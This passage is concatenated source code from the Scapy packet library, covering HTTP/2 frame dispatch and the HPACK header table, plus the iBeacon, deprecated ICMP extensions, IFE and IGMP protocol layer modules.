noqa: E501 if H2HeadersFrame.flags[H2HeadersFrame.PRIORITY_FLAG].short in self.getfieldval('flags'): # noqa: E501 return H2PaddedPriorityHeadersFrame else: return H2PaddedHeadersFrame elif H2HeadersFrame.flags[H2HeadersFrame.PRIORITY_FLAG].short in self.getfieldval('flags'): # noqa: E501 return H2PriorityHeadersFrame return H2HeadersFrame if t == H2PriorityFrame.type_id: return H2PriorityFrame if t == H2ResetFrame.type_id: return H2ResetFrame if t == H2SettingsFrame.type_id: return H2SettingsFrame if t == H2PushPromiseFrame.type_id: if H2PushPromiseFrame.flags[H2PushPromiseFrame.PADDED_FLAG].short in self.getfieldval('flags'): # noqa: E501 return H2PaddedPushPromiseFrame return H2PushPromiseFrame if t == H2PingFrame.type_id: return H2PingFrame if t == H2GoAwayFrame.type_id: return H2GoAwayFrame if t == H2WindowUpdateFrame.type_id: return H2WindowUpdateFrame if t == H2ContinuationFrame.type_id: return H2ContinuationFrame return config.conf.padding_layer def extract_padding(self, s): # type: (str) -> Tuple[str, str] """ :param str s: the string from which to tell the padding and the payload data apart # noqa: E501 :return: (str, str): the padding and the payload data strings :raises: AssertionError """ assert isinstance(self.len, int) and self.len >= 0, 'Invalid length: negative len?' # noqa: E501 assert len(s) >= self.len, 'Invalid length: string too short for this length' # noqa: E501 return s[:self.len], s[self.len:] def post_build(self, p, pay): # type: (str, str) -> str """ :param str p: the stringified packet :param str pay: the stringified payload :return: str: the stringified packet and payload, with the packet length field "patched" # noqa: E501 :raises: AssertionError """ # This logic, while awkward in the post_build and more reasonable in # a self_build is implemented here for performance tricks reason if self.getfieldval('len') is None: assert len(pay) < (1 << 24), 'Invalid length: payload is too long' p = struct.pack('!L', len(pay))[1:] + p[3:] return super(H2Frame, self).post_build(p, pay) class H2Seq(packet.Packet): """ H2Seq is a helper packet that contains several H2Frames and their payload. This packet can be used, for instance, while reading manually from a TCP socket. """ name = 'HTTP/2 Frame Sequence' fields_desc = [ fields.PacketListField('frames', [], H2Frame) ] def guess_payload_class(self, payload): # type: (str) -> Packet_metaclass return config.conf.padding_layer packet.bind_layers(H2Frame, H2DataFrame, {'type': H2DataFrame.type_id}) packet.bind_layers(H2Frame, H2PaddedDataFrame, {'type': H2DataFrame.type_id}) packet.bind_layers(H2Frame, H2HeadersFrame, {'type': H2HeadersFrame.type_id}) packet.bind_layers(H2Frame, H2PaddedHeadersFrame, {'type': H2HeadersFrame.type_id}) # noqa: E501 packet.bind_layers(H2Frame, H2PriorityHeadersFrame, {'type': H2HeadersFrame.type_id}) # noqa: E501 packet.bind_layers(H2Frame, H2PaddedPriorityHeadersFrame, {'type': H2HeadersFrame.type_id}) # noqa: E501 packet.bind_layers(H2Frame, H2PriorityFrame, {'type': H2PriorityFrame.type_id}) packet.bind_layers(H2Frame, H2ResetFrame, {'type': H2ResetFrame.type_id}) packet.bind_layers(H2Frame, H2SettingsFrame, {'type': H2SettingsFrame.type_id}) packet.bind_layers(H2Frame, H2PingFrame, {'type': H2PingFrame.type_id}) packet.bind_layers(H2Frame, H2PushPromiseFrame, {'type': H2PushPromiseFrame.type_id}) # noqa: E501 packet.bind_layers(H2Frame, H2PaddedPushPromiseFrame, {'type': H2PaddedPushPromiseFrame.type_id}) # noqa: E501 packet.bind_layers(H2Frame, H2GoAwayFrame, {'type': H2GoAwayFrame.type_id}) packet.bind_layers(H2Frame, H2WindowUpdateFrame, {'type': H2WindowUpdateFrame.type_id}) # noqa: E501 packet.bind_layers(H2Frame, H2ContinuationFrame, {'type': H2ContinuationFrame.type_id}) # noqa: E501 # HTTP/2 Connection Preface # # noqa: E501 # From RFC 7540 par3.5 H2_CLIENT_CONNECTION_PREFACE = hex_bytes('505249202a20485454502f322e300d0a0d0a534d0d0a0d0a') # noqa: E501 ############################################################################### # HTTP/2 Helpers # ############################################################################### class HPackHdrEntry(Sized): """ HPackHdrEntry is an entry of the HPackHdrTable helper Each HPackHdrEntry instance is a header line (name and value). Names are normalized (lowercase), according to RFC 7540 par8.1.2 """ __slots__ = ['_name', '_len', '_value'] def __init__(self, name, value): # type: (str, str) -> None """ :raises: AssertionError """ assert len(name) > 0 self._name = name.lower() self._value = value # 32 bytes is an RFC-hardcoded value: see RFC 7541 par4.1 self._len = (32 + len(self._name) + len(self._value)) def name(self): # type: () -> str return self._name def value(self): # type: () -> str return self._value def size(self): # type: () -> int """ size returns the "length" of the header entry, as defined in RFC 7541 par4.1. """ return self._len __len__ = size def __str__(self): # type: () -> str """ __str__ returns the header as it would be formatted in textual format """ if self._name.startswith(':'): return "{} {}".format(self._name, self._value) else: return "{}: {}".format(self._name, self._value) def __bytes__(self): return bytes_encode(self.__str__()) class HPackHdrTable(Sized): """ HPackHdrTable is a helper class that implements some of the logic associated with indexing of headers (read and write operations in this "registry". THe HPackHdrTable also implements convenience functions to easily # noqa: E501 convert to and from textual representation and binary representation of a HTTP/2 requests """ __slots__ = [ '_dynamic_table', '_dynamic_table_max_size', '_dynamic_table_cap_size', '_regexp' ] """ :var _dynamic_table: the list containing entries requested to be added by the peer and registered with a register() call :var _dynamic_table_max_size: the current maximum size of the dynamic table in bytes. This value is updated with the Dynamic Table Size Update messages defined in RFC 7541 par6.3 :var _dynamic_table_cap_size: the maximum size of the dynamic table in bytes. This value is updated with the SETTINGS_HEADER_TABLE_SIZE HTTP/2 setting. """ # Manually imported from RFC 7541 Appendix A _static_entries = { 1: HPackHdrEntry(':authority', ''), 2: HPackHdrEntry(':method', 'GET'), 3: HPackHdrEntry(':method', 'POST'), 4: HPackHdrEntry(':path', '/'), 5: HPackHdrEntry(':path', '/index.html'), 6: HPackHdrEntry(':scheme', 'http'), 7: HPackHdrEntry(':scheme', 'https'), 8: HPackHdrEntry(':status', '200'), 9: HPackHdrEntry(':status', '204'), 10: HPackHdrEntry(':status', '206'), 11: HPackHdrEntry(':status', '304'), 12: HPackHdrEntry(':status', '400'), 13: HPackHdrEntry(':status', '404'), 14: HPackHdrEntry(':status', '500'), 15: HPackHdrEntry('accept-charset', ''), 16: HPackHdrEntry('accept-encoding', 'gzip, deflate'), 17: HPackHdrEntry('accept-language', ''), 18: HPackHdrEntry('accept-ranges', ''), 19: HPackHdrEntry('accept', ''), 20: HPackHdrEntry('access-control-allow-origin', ''), 21: HPackHdrEntry('age', ''), 22: HPackHdrEntry('allow', ''), 23: HPackHdrEntry('authorization', ''), 24: HPackHdrEntry('cache-control', ''), 25: HPackHdrEntry('content-disposition', ''), 26: HPackHdrEntry('content-encoding', ''), 27: HPackHdrEntry('content-language', ''), 28: HPackHdrEntry('content-length', ''), 29: HPackHdrEntry('content-location', ''), 30: HPackHdrEntry('content-range', ''), 31: HPackHdrEntry('content-type', ''), 32: HPackHdrEntry('cookie', ''), 33: HPackHdrEntry('date', ''), 34: HPackHdrEntry('etag', ''), 35: HPackHdrEntry('expect', ''), 36: HPackHdrEntry('expires', ''), 37: HPackHdrEntry('from', ''), 38: HPackHdrEntry('host', ''), 39: HPackHdrEntry('if-match', ''), 40: HPackHdrEntry('if-modified-since', ''), 41: HPackHdrEntry('if-none-match', ''), 42: HPackHdrEntry('if-range', ''), 43: HPackHdrEntry('if-unmodified-since', ''), 44: HPackHdrEntry('last-modified', ''), 45: HPackHdrEntry('link', ''), 46: HPackHdrEntry('location', ''), 47: HPackHdrEntry('max-forwards', ''), 48: HPackHdrEntry('proxy-authenticate', ''), 49: HPackHdrEntry('proxy-authorization', ''), 50: HPackHdrEntry('range', ''), 51: HPackHdrEntry('referer', ''), 52: HPackHdrEntry('refresh', ''), 53: HPackHdrEntry('retry-after', ''), 54: HPackHdrEntry('server', ''), 55: HPackHdrEntry('set-cookie', ''), 56: HPackHdrEntry('strict-transport-security', ''), 57: HPackHdrEntry('transfer-encoding', ''), 58: HPackHdrEntry('user-agent', ''), 59: HPackHdrEntry('vary', ''), 60: HPackHdrEntry('via', ''), 61: HPackHdrEntry('www-authenticate', ''), } # The value of this variable cannot be determined at declaration time. It is # noqa: E501 # initialized by an init_static_table call _static_entries_last_idx = None # type: int @classmethod def init_static_table(cls): # type: () -> None cls._static_entries_last_idx = max(cls._static_entries) def __init__(self, dynamic_table_max_size=4096, dynamic_table_cap_size=4096): # noqa: E501 # type: (int, int) -> None """ :param int dynamic_table_max_size: the current maximum size of the dynamic entry table in bytes # noqa: E501 :param int dynamic_table_cap_size: the maximum-maximum size of the dynamic entry table in bytes # noqa: E501 :raises:s AssertionError """ self._regexp = None # type: Pattern if isinstance(type(self)._static_entries_last_idx, type(None)): type(self).init_static_table() assert dynamic_table_max_size <= dynamic_table_cap_size, \ 'EINVAL: dynamic_table_max_size too large; expected value is less or equal to dynamic_table_cap_size' # noqa: E501 self._dynamic_table = [] # type: List[HPackHdrEntry] self._dynamic_table_max_size = dynamic_table_max_size self._dynamic_table_cap_size = dynamic_table_cap_size def __getitem__(self, idx): # type: (int) -> HPackHdrEntry """Gets an element from the header tables (static or dynamic indifferently) :param int idx: the index number of the entry to retrieve. If the index value is superior to the last index of the static entry table, then the dynamic entry type is requested, following the procedure described in RFC 7541 par2.3.3 :return: HPackHdrEntry: the entry defined at this requested index. If the entry does not exist, KeyError is # noqa: E501 raised :raises: KeyError, AssertionError """ assert idx >= 0 if idx > type(self)._static_entries_last_idx: idx -= type(self)._static_entries_last_idx + 1 if idx >= len(self._dynamic_table): raise KeyError( 'EINVAL: idx: out-of-bound read: {}; maximum index: {}'.format(idx, len(self._dynamic_table)) # noqa: E501 ) return self._dynamic_table[idx] return type(self)._static_entries[idx] def resize(self, ns): # type: (int) -> None """Resize the dynamic table. If the new size (ns) must be between 0 and the cap size. If the new size is lower than the current size of the dynamic table, entries are evicted. :param int ns: the new size of the dynamic table :raises: AssertionError """ assert 0 <= ns <= self._dynamic_table_cap_size, \ 'EINVAL: ns: out-of-range value; expected value is in the range [0;{}['.format(self._dynamic_table_cap_size) # noqa: E501 old_size = self._dynamic_table_max_size self._dynamic_table_max_size = ns if old_size > self._dynamic_table_max_size: self._reduce_dynamic_table() def recap(self, nc): # type: (int) -> None """recap changes the maximum size limit of the dynamic table. It also proceeds to a resize(), if the new size is lower than the previous one. :param int nc: the new cap of the dynamic table (that is the maximum-maximum size) # noqa: E501 :raises: AssertionError """ assert nc >= 0 t = self._dynamic_table_cap_size > nc self._dynamic_table_cap_size = nc if t: # The RFC is not clear about whether this resize should happen; # we do it anyway self.resize(nc) def _reduce_dynamic_table(self, new_entry_size=0): # type: (int) -> None """_reduce_dynamic_table evicts entries from the dynamic table until it fits in less than the current size limit. The optional parameter, new_entry_size, allows the resize to happen so that a new entry of this size fits in. :param int new_entry_size: if called before adding a new entry, the size of the new entry in bytes (following # noqa: E501 the RFC7541 definition of the size of an entry) :raises: AssertionError """ assert new_entry_size >= 0 cur_sz = len(self) dyn_tbl_sz = len(self._dynamic_table) while dyn_tbl_sz > 0 and cur_sz + new_entry_size > self._dynamic_table_max_size: # noqa: E501 last_elmt_sz = len(self._dynamic_table[-1]) self._dynamic_table.pop() dyn_tbl_sz -= 1 cur_sz -= last_elmt_sz def register(self, hdrs): # type: (Union[HPackLitHdrFldWithIncrIndexing, H2Frame, List[HPackHeaders]]) -> None # noqa: E501 """register adds to this table the instances of HPackLitHdrFldWithIncrIndexing provided as parameters. A H2Frame with a H2HeadersFrame payload can be provided, as much as a python list of HPackHeaders or a single HPackLitHdrFldWithIncrIndexing instance. :param HPackLitHdrFldWithIncrIndexing|H2Frame|list of HPackHeaders hdrs: the header(s) to register # noqa: E501 :raises: AssertionError """ if isinstance(hdrs, H2Frame): hdrs = [hdr for hdr in hdrs.payload.hdrs if isinstance(hdr, HPackLitHdrFldWithIncrIndexing)] # noqa: E501 elif isinstance(hdrs, HPackLitHdrFldWithIncrIndexing): hdrs = [hdrs] else: hdrs = [hdr for hdr in hdrs if isinstance(hdr, HPackLitHdrFldWithIncrIndexing)] # noqa: E501 for hdr in hdrs: if hdr.index == 0: hdr_name = hdr.hdr_name.getfieldval('data').origin() else: idx = int(hdr.index) hdr_name = self[idx].name() hdr_value = hdr.hdr_value.getfieldval('data').origin() # Note: we do not delete any existing hdrentry with the same names # and values, as dictated by RFC 7541 par2.3.2 entry = HPackHdrEntry(hdr_name, hdr_value) # According to RFC7541 par4.4, "Before a new entry is added to # the dynamic table, entries are evicted # from the end of the dynamic table until the size of the dynamic # table is less than or equal to (maximum size - new entry size) # or until the table is empty" # Also, "It is not an error to attempt to add an entry that is # larger than the maximum size; an attempt to add an entry larger # than the maximum size causes the table to be emptied of all # existing entries and results in an empty table" # For this reason, we first call the _reduce_dynamic_table and # then throw an assertion error if the new entry does not fit in new_entry_len = len(entry) self._reduce_dynamic_table(new_entry_len) assert new_entry_len <= self._dynamic_table_max_size self._dynamic_table.insert(0, entry) def get_idx_by_name(self, name): # type: (str) -> Optional[int] """ get_idx_by_name returns the index of a matching registered header This implementation will prefer returning a static entry index whenever possible. If multiple matching header name are found in the static table, there is insurance that the first entry (lowest index number) will be returned. If no matching header is found, this method returns None. """ name = name.lower() for key, val in type(self)._static_entries.items(): if val.name() == name: return key for idx, val in enumerate(self._dynamic_table): if val.name() == name: return type(self)._static_entries_last_idx + idx + 1 return None def get_idx_by_name_and_value(self, name, value): # type: (str, str) -> Optional[int] """ get_idx_by_name_and_value returns the index of a matching registered header This implementation will prefer returning a static entry index whenever possible. If multiple matching headers are found in the dynamic table, the lowest index is returned If no matching header is found, this method returns None. """ name = name.lower() for key, val in type(self)._static_entries.items(): if val.name() == name and val.value() == value: return key for idx, val in enumerate(self._dynamic_table): if val.name() == name and val.value() == value: return type(self)._static_entries_last_idx + idx + 1 return None def __len__(self): # type: () -> int """ __len__ returns the summed length of all dynamic entries """ return sum(len(x) for x in self._dynamic_table) def gen_txt_repr(self, hdrs, register=True): # type: (Union[H2Frame, List[HPackHeaders]], Optional[bool]) -> str """ gen_txt_repr returns a "textual" representation of the provided headers. The output of this function is compatible with the input of parse_txt_hdrs. :param H2Frame|list of HPackHeaders hdrs: the list of headers to convert to textual representation. :param bool: whether incremental headers should be added to the dynamic table as we generate the text representation :return: str: the textual representation of the provided headers :raises: AssertionError """ lst = [] if isinstance(hdrs, H2Frame): hdrs = hdrs.payload.hdrs for hdr in hdrs: try: if isinstance(hdr, HPackIndexedHdr): lst.append('{}'.format(self[hdr.index])) elif isinstance(hdr, ( HPackLitHdrFldWithIncrIndexing, HPackLitHdrFldWithoutIndexing )): if hdr.index != 0: name = self[hdr.index].name() else: name = hdr.hdr_name.getfieldval('data').origin() if name.startswith(':'): lst.append( '{} {}'.format( name, hdr.hdr_value.getfieldval('data').origin() ) ) else: lst.append( '{}: {}'.format( name, hdr.hdr_value.getfieldval('data').origin() ) ) if register and isinstance(hdr, HPackLitHdrFldWithIncrIndexing): # noqa: E501 self.register(hdr) except KeyError as e: # raised when an index is out-of-bound print(e) continue return '\n'.join(lst) @staticmethod def _optimize_header_length_and_packetify(s): # type: (str) -> HPackHdrString zs = HPackZString(s) if len(zs) >= len(s): return HPackHdrString(data=HPackLiteralString(s)) return HPackHdrString(data=zs) def _convert_a_header_to_a_h2_header(self, hdr_name, hdr_value, is_sensitive, should_index): # noqa: E501 # type: (str, str, Callable[[str, str], bool], Callable[[str], bool]) -> Tuple[HPackHeaders, int] # noqa: E501 """ _convert_a_header_to_a_h2_header builds a HPackHeaders from a header name and a value. It returns a HPackIndexedHdr whenever possible. If not, # noqa: E501 it returns a HPackLitHdrFldWithoutIndexing or a HPackLitHdrFldWithIncrIndexing, based on the should_index callback. HPackLitHdrFldWithoutIndexing is forced if the is_sensitive callback returns True and its never_index bit is set. """ # If both name and value are already indexed idx = self.get_idx_by_name_and_value(hdr_name, hdr_value) if idx is not None: return HPackIndexedHdr(index=idx), len(self[idx]) # The value is not indexed for this headers _hdr_value = self._optimize_header_length_and_packetify(hdr_value) # Searching if the header name is indexed idx = self.get_idx_by_name(hdr_name) if idx is not None: if is_sensitive( hdr_name, _hdr_value.getfieldval('data').origin() ): return HPackLitHdrFldWithoutIndexing( never_index=1, index=idx, hdr_value=_hdr_value ), len( HPackHdrEntry( self[idx].name(), _hdr_value.getfieldval('data').origin() ) ) if should_index(hdr_name): return HPackLitHdrFldWithIncrIndexing( index=idx, hdr_value=_hdr_value ), len( HPackHdrEntry( self[idx].name(), _hdr_value.getfieldval('data').origin() ) ) return HPackLitHdrFldWithoutIndexing( index=idx, hdr_value=_hdr_value ), len( HPackHdrEntry( self[idx].name(), _hdr_value.getfieldval('data').origin() ) ) _hdr_name = self._optimize_header_length_and_packetify(hdr_name) if is_sensitive( _hdr_name.getfieldval('data').origin(), _hdr_value.getfieldval('data').origin() ): return HPackLitHdrFldWithoutIndexing( never_index=1, index=0, hdr_name=_hdr_name, hdr_value=_hdr_value ), len( HPackHdrEntry( _hdr_name.getfieldval('data').origin(), _hdr_value.getfieldval('data').origin() ) ) if should_index(_hdr_name.getfieldval('data').origin()): return HPackLitHdrFldWithIncrIndexing( index=0, hdr_name=_hdr_name, hdr_value=_hdr_value ), len( HPackHdrEntry( _hdr_name.getfieldval('data').origin(), _hdr_value.getfieldval('data').origin() ) ) return HPackLitHdrFldWithoutIndexing( index=0, hdr_name=_hdr_name, hdr_value=_hdr_value ), len( HPackHdrEntry( _hdr_name.getfieldval('data').origin(), _hdr_value.getfieldval('data').origin() ) ) def _parse_header_line(self, line): # type: (str) -> Union[Tuple[None, None], Tuple[str, str]] if self._regexp is None: self._regexp = re.compile(br'^(?::([a-z\-0-9]+)|([a-z\-0-9]+):)\s+(.+)$') # noqa: E501 hdr_line = line.rstrip() grp = self._regexp.match(hdr_line) if grp is None or len(grp.groups()) != 3: return None, None if grp.group(1) is not None: hdr_name = b':' + grp.group(1) else: hdr_name = grp.group(2) return plain_str(hdr_name.lower()), plain_str(grp.group(3)) def parse_txt_hdrs(self, s, # type: Union[bytes, str] stream_id=1, # type: int body=None, # type: Optional[str] max_frm_sz=4096, # type: int max_hdr_lst_sz=0, # type: int is_sensitive=lambda n, v: False, # type: Callable[[str, str], bool] # noqa: E501 should_index=lambda x: False, # type: Callable[[str], bool] # noqa: E501 register=True, # type: bool ): # type: (...) -> H2Seq """ parse_txt_hdrs parses headers expressed in text and converts them into a series of H2Frames with the "correct" flags. A body can be provided in which case, the data frames are added, bearing the End Stream flag, instead of the H2HeadersFrame/H2ContinuationFrame. The generated frames may respect max_frm_sz (SETTINGS_MAX_FRAME_SIZE) and max_hdr_lst_sz (SETTINGS_MAX_HEADER_LIST_SIZE) if provided. The headers are split into multiple headers fragment (and H2Frames) to respect these limits. Also, a callback can be provided to tell if a header should be never indexed (sensitive headers, such as cookies), and another callback say if the header should be registered into the index table at all. For an header to be registered, the is_sensitive callback must return False AND the should_index callback should return True. This is the default behavior. :param str s: the string to parse for headers :param int stream_id: the stream id to use in the generated H2Frames :param str/None body: the eventual body of the request, that is added to the generated frames :param int max_frm_sz: the maximum frame size. This is used to split the headers and data frames according to the maximum frame size negotiated for this connection. :param int max_hdr_lst_sz: the maximum size of a "header fragment" as defined in RFC7540 :param callable is_sensitive: callback that returns True if the provided header is sensible and must be stored in a header packet requesting this header never to be indexed :param callable should_index: callback that returns True if the provided header should be stored in a header packet requesting indexation in the dynamic header table. :param bool register: whether to register new headers with incremental indexing as we parse them :raises: Exception """ sio = BytesIO(s.encode() if isinstance(s, str) else s) base_frm_len = len(raw(H2Frame())) ret = H2Seq() cur_frm = H2HeadersFrame() # type: Union[H2HeadersFrame, H2ContinuationFrame] # noqa: E501 cur_hdr_sz = 0 # For each line in the headers str to parse for hdr_line in sio: hdr_name, hdr_value = self._parse_header_line(hdr_line) if hdr_name is None: continue new_hdr, new_hdr_len = self._convert_a_header_to_a_h2_header( hdr_name, hdr_value, is_sensitive, should_index ) new_hdr_bin_len = len(raw(new_hdr)) if register and isinstance(new_hdr, HPackLitHdrFldWithIncrIndexing): # noqa: E501 self.register(new_hdr) # The new header binary length (+ base frame size) must not exceed # the maximum frame size or it will just never fit. Also, the # header entry length (as specified in RFC7540 par6.5.2) must not # exceed the maximum length of a header fragment or it will just # never fit if (new_hdr_bin_len + base_frm_len > max_frm_sz or (max_hdr_lst_sz != 0 and new_hdr_len > max_hdr_lst_sz)): raise Exception('Header too long: {}'.format(hdr_name)) if (max_frm_sz < len(raw(cur_frm)) + base_frm_len + new_hdr_len or ( max_hdr_lst_sz != 0 and max_hdr_lst_sz < cur_hdr_sz + new_hdr_len ) ): flags = set() if isinstance(cur_frm, H2HeadersFrame) and not body: flags.add('ES') ret.frames.append(H2Frame(stream_id=stream_id, flags=flags) / cur_frm) # noqa: E501 cur_frm = H2ContinuationFrame() cur_hdr_sz = 0 hdr_list = cur_frm.hdrs hdr_list += new_hdr cur_hdr_sz += new_hdr_len flags = {'EH'} if isinstance(cur_frm, H2HeadersFrame) and not body: flags.add('ES') ret.frames.append(H2Frame(stream_id=stream_id, flags=flags) / cur_frm) if body: base_data_frm_len = len(raw(H2DataFrame())) sio = BytesIO(body) frgmt = sio.read(max_frm_sz - base_data_frm_len - base_frm_len) while frgmt: nxt_frgmt = sio.read(max_frm_sz - base_data_frm_len - base_frm_len) # noqa: E501 flags = set() if len(nxt_frgmt) == 0: flags.add('ES') ret.frames.append( H2Frame(stream_id=stream_id, flags=flags) / H2DataFrame(data=frgmt) # noqa: E501 ) frgmt = nxt_frgmt return ret ================================================ FILE: scapy/contrib/ibeacon.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Michael Farrell # scapy.contrib.description = iBeacon BLE proximity beacon # scapy.contrib.status = loads """ scapy.contrib.ibeacon - Apple iBeacon Bluetooth LE proximity beacons. Packet format documentation can be found at at: * https://en.wikipedia.org/wiki/IBeacon#Packet_Structure_Byte_Map (public) * https://developer.apple.com/ibeacon/ (official, requires license) """ from scapy.fields import ByteEnumField, ConditionalField, LenField, \ PacketListField, ShortField, SignedByteField, UUIDField from scapy.layers.bluetooth import EIR_Hdr, EIR_Manufacturer_Specific_Data, \ LowEnergyBeaconHelper from scapy.packet import bind_layers, Packet APPLE_MFG = 0x004c class Apple_BLE_Submessage(Packet, LowEnergyBeaconHelper): """ A basic Apple submessage. """ name = "Apple BLE submessage" fields_desc = [ ByteEnumField("subtype", None, { 0x01: "overflow", 0x02: "ibeacon", 0x05: "airdrop", 0x07: "airpods", 0x09: "airplay_sink", 0x0a: "airplay_src", 0x0c: "handoff", 0x10: "nearby", }), ConditionalField( # "overflow" messages omit `len` field LenField("len", None, fmt="B"), lambda pkt: pkt.subtype != 0x01 ), ] def extract_padding(self, s): # Needed to end each EIR_Element packet and make PacketListField work. if self.subtype == 0x01: # Overflow messages are always 16 bytes. return s[:16], s[16:] return s[:self.len], s[self.len:] # These methods are here in case you only want to send 1 submessage. # It creates an Apple_BLE_Frame to wrap your (single) Apple_BLE_Submessage. def build_frame(self): """Wraps this submessage in a Apple_BLE_Frame.""" return Apple_BLE_Frame(plist=[self]) def build_eir(self): """See Apple_BLE_Frame.build_eir.""" return self.build_frame().build_eir() class Apple_BLE_Frame(Packet, LowEnergyBeaconHelper): """ The wrapper for a BLE manufacturer-specific data advertisement from Apple devices. Each advertisement is composed of one or multiple submessages. The length of this field comes from the EIR_Hdr. """ name = "Apple BLE broadcast frame" fields_desc = [ PacketListField("plist", None, Apple_BLE_Submessage) ] def build_eir(self): """Builds a list of EIR messages to wrap this frame.""" return LowEnergyBeaconHelper.base_eir + [ EIR_Hdr() / EIR_Manufacturer_Specific_Data() / self ] class IBeacon_Data(Packet): """ iBeacon broadcast data frame. Composed on top of an Apple_BLE_Submessage. """ name = "iBeacon data" fields_desc = [ UUIDField("uuid", None, uuid_fmt=UUIDField.FORMAT_BE), ShortField("major", None), ShortField("minor", None), SignedByteField("tx_power", None), ] bind_layers(EIR_Manufacturer_Specific_Data, Apple_BLE_Frame, company_identifier=APPLE_MFG) bind_layers(Apple_BLE_Submessage, IBeacon_Data, subtype=2) ================================================ FILE: scapy/contrib/icmp_extensions.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # scapy.contrib.description = ICMP Extensions (deprecated) # scapy.contrib.status = deprecated __all__ = [ "ICMPExtensionObject", "ICMPExtensionHeader", "ICMPExtensionInterfaceInformation", "ICMPExtensionMPLS", ] import warnings from scapy.layers.inet import ( ICMPExtension_Object as ICMPExtensionObject, ICMPExtension_Header as ICMPExtensionHeader, ICMPExtension_InterfaceInformation as ICMPExtensionInterfaceInformation, ) from scapy.contrib.mpls import ( ICMPExtension_MPLS as ICMPExtensionMPLS, ) warnings.warn( "scapy.contrib.icmp_extensions is deprecated. Behavior has changed ! " "Use scapy.layers.inet", DeprecationWarning ) ================================================ FILE: scapy/contrib/ife.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # scapy.contrib.description = ForCES Inter-FE LFB type (IFE) # scapy.contrib.status = loads """ IFE - ForCES Inter-FE LFB type ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ :author: Alexander Aring, aring@mojatatu.com :description: This module provides Scapy layers for the IFE protocol. normative references: - RFC 8013 Forwarding and Control Element Separation (ForCES) Inter-FE Logical Functional Block (LFB) https://tools.ietf.org/html/rfc8013 """ import functools from scapy.data import ETHER_TYPES from scapy.packet import Packet, bind_layers from scapy.fields import FieldLenField, PacketListField, IntField, \ MultipleTypeField, ShortField, ShortEnumField, StrField, PadField from scapy.layers.l2 import Ether ETH_P_IFE = 0xed3e ETHER_TYPES[ETH_P_IFE] = 'IFE' # The value to set for the skb mark. IFE_META_SKBMARK = 0x0001 IFE_META_HASHID = 0x0002 # Value to set for priority in the skb structure. IFE_META_PRIO = 0x0003 IFE_META_QMAP = 0x0004 # Value to set for the traffic control index in the skb structure. IFE_META_TCINDEX = 0x0005 IFE_META_TYPES = { IFE_META_SKBMARK: "SKBMark", IFE_META_HASHID: "HashID", IFE_META_PRIO: "Prio", IFE_META_QMAP: "QMap", IFE_META_TCINDEX: "TCIndex" } IFE_TYPES_SHORT = [IFE_META_TCINDEX] IFE_TYPES_INT = [ IFE_META_SKBMARK, IFE_META_PRIO, ] class IFETlv(Packet): """ Parent Class interhit by all ForCES TLV structures """ name = "IFETlv" fields_desc = [ ShortEnumField("type", 0, IFE_META_TYPES), FieldLenField("length", None, length_of="value", adjust=lambda pkt, x: x + 4), MultipleTypeField( [ (PadField(ShortField("value", 0), 4, padwith=b'\x00'), lambda pkt: pkt.type in IFE_TYPES_SHORT), (PadField(IntField("value", 0), 4, padwith=b'\x00'), lambda pkt: pkt.type in IFE_TYPES_INT), ], PadField(IntField("value", 0), 4, padwith=b'\x00') ), ] def extract_padding(self, s): return "", s class IFETlvStr(IFETlv): """ A IFE TLV with variable payload """ fields_desc = [ ShortEnumField("type", 0, IFE_META_TYPES), FieldLenField("length", None, length_of="value", adjust=lambda pkt, x: x + 4), StrField("value", "") ] class IFE(Packet): """ Main IFE Packet Class """ name = "IFE" fields_desc = [ FieldLenField("mdlen", None, length_of="tlvs", adjust=lambda pkt, x: x + 2), PacketListField("tlvs", None, IFETlv), ] IFESKBMark = functools.partial(IFETlv, type=IFE_META_SKBMARK) IFEHashID = functools.partial(IFETlv, type=IFE_META_HASHID) IFEPrio = functools.partial(IFETlv, type=IFE_META_PRIO) IFEQMap = functools.partial(IFETlv, type=IFE_META_QMAP) IFETCIndex = functools.partial(IFETlv, type=IFE_META_TCINDEX) bind_layers(Ether, IFE, type=ETH_P_IFE) ================================================ FILE: scapy/contrib/igmp.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # scapy.contrib.description = Internet Group Management Protocol v1/v2 (IGMP/IGMPv2) # scapy.contrib.status = loads from scapy.compat import chb, orb from scapy.error import warning from scapy.fields import ByteEnumField, ByteField, IPField, XShortField from scapy.layers.inet import IP, IPOption_Router_Alert from scapy.layers.l2 import Ether, getmacbyip from scapy.packet import bind_layers, Packet from scapy.utils import atol, checksum def isValidMCAddr(ip): """convert dotted quad string to long and check the first octet""" FirstOct = atol(ip) >> 24 & 0xFF return (FirstOct >= 224) and (FirstOct <= 239) class IGMP(Packet): """IGMP Message Class for v1 and v2. This class is derived from class Packet. You need call "igmpize()" so the packet is transformed according the RFC when sent. a=Ether(src="00:01:02:03:04:05") b=IP(src="1.2.3.4") c=IGMP(type=0x12, gaddr="224.2.3.4") x = a/b/c x[IGMP].igmpize() sendp(a/b/c, iface="en0") Parameters: type IGMP type field, 0x11, 0x12, 0x16 or 0x17 mrcode Maximum Response time (zero for v1) gaddr Multicast Group Address 224.x.x.x/4 See RFC2236, Section 2. Introduction for definitions of proper IGMPv2 message format http://www.faqs.org/rfcs/rfc2236.html """ name = "IGMP" igmptypes = {0x11: "Group Membership Query", 0x12: "Version 1 - Membership Report", 0x16: "Version 2 - Membership Report", 0x17: "Leave Group"} fields_desc = [ByteEnumField("type", 0x11, igmptypes), ByteField("mrcode", 20), XShortField("chksum", None), IPField("gaddr", "0.0.0.0")] def post_build(self, p, pay): """Called implicitly before a packet is sent to compute and place IGMP checksum. Parameters: self The instantiation of an IGMP class p The IGMP message in hex in network byte order pay Additional payload for the IGMP message """ p += pay if self.chksum is None: ck = checksum(p) p = p[:2] + chb(ck >> 8) + chb(ck & 0xff) + p[4:] return p @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 4: from scapy.contrib.igmpv3 import IGMPv3 if orb(_pkt[0]) in [0x22, 0x30, 0x31, 0x32]: return IGMPv3 if orb(_pkt[0]) == 0x11 and len(_pkt) >= 12: return IGMPv3 return IGMP def igmpize(self): """Called to explicitly fixup the packet according to the 